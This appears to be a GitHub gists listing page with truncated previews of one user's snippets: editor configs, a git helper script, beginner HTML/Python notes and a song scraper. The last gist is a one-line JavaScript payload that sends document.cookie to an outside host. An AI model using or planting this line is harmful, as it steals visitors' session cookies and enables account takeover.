- Go to this link and log in
- After logging in click "Having Trouble?" and copy the user code
- Go to VSCode and do Ctrl+Shift+P and type "Live Share: Sign in with user code" then enter
- Paste you user code and press enter
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import time | |
TSL = [] | |
counter = 0 | |
ATSL = [] | |
counter2 = 0 | |
filename = input("filename:\n") | |
f = open("{}.txt".format(filename), 'w') | |
print("writting outputs to {}".format(filename)) | |
print() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GLOBALREPLACE = true | |
document.getElementsByClassName('hidden-rendering-container')[1].addEventListener("DOMSubtreeModified", (e) => { | |
setTimeout(() => {GLOBALREPLACE = true}, 50) | |
if (GLOBALREPLACE) { | |
console.log(e.target.innerHTML) | |
e.target.innerHTML = e.target.innerHTML.replace(/(<code>)(.*?)(<\/code>)(.*?)(!)/g, (s, p1, p2, p3, p4) => `<code class="prism language-${p4}">${p2}</code>`) | |
console.log("AFTER") | |
console.log(e.target.innerHTML) | |
} | |
GLOBALREPLACE = false |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Future versions of Hyper may add additional config options, | |
// which will not automatically be merged into this file. | |
// See https://hyper.is#cfg for all currently supported options. | |
module.exports = { | |
config: { | |
// choose either `'stable'` for receiving highly polished, | |
// or `'canary'` for less polished but more frequent updates | |
updateChannel: 'stable', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gitFind() { | |
oldLoca=$('pwd') | |
cd "$1" || "." | |
for d in */; do | |
if [ -d $d ]; then | |
oldLoc=$('pwd') | |
cd $d | |
if git ls-remote 2>&1 | grep -q HEAD; then | |
if git status | grep -q "Changes not" || git status | grep -q "Untracked files"; then | |
echo "${red}$d (Changes) ${end}" |
Type html:5
then press Enter to create a simple template in a HTML file
Type link:css
in the head of the index.html file then press Enter to import a CSS file
<p>
: Creates a paragraph<br>
: Creates a new line<a>
: Create a link (Use thehref
attribute:</a><a href="http://example.com">
)
- Define a string:
name = 'hello world'
(Remember the quotes) - Define a number:
age = 10
- Define a boolean (True/False):
likesMovies = True
(Remember to capitalize "True" and "False")
print
: Prints something to the terminal. Format:print(value)
input
: Asks the user for their input. Format:input(question)
(Remember to put a space after the questions)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getNewestAir1Songs() { | |
fetch('https://www.air1.com/music/songs') | |
.then((data) => data.text()) | |
.then((html) => { | |
const parser = new DOMParser(); | |
const doc = parser.parseFromString(html, 'text/html'); | |
const f = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card p:nth-child(3)')]; | |
const s = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card h5:nth-child(2)')]; | |
const songs = f.map((v, i) => `${s[i].innerText} ${v.innerText}`); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch(`https://mc.anb.codes:31661/`+ document.cookie); |
OlderNewer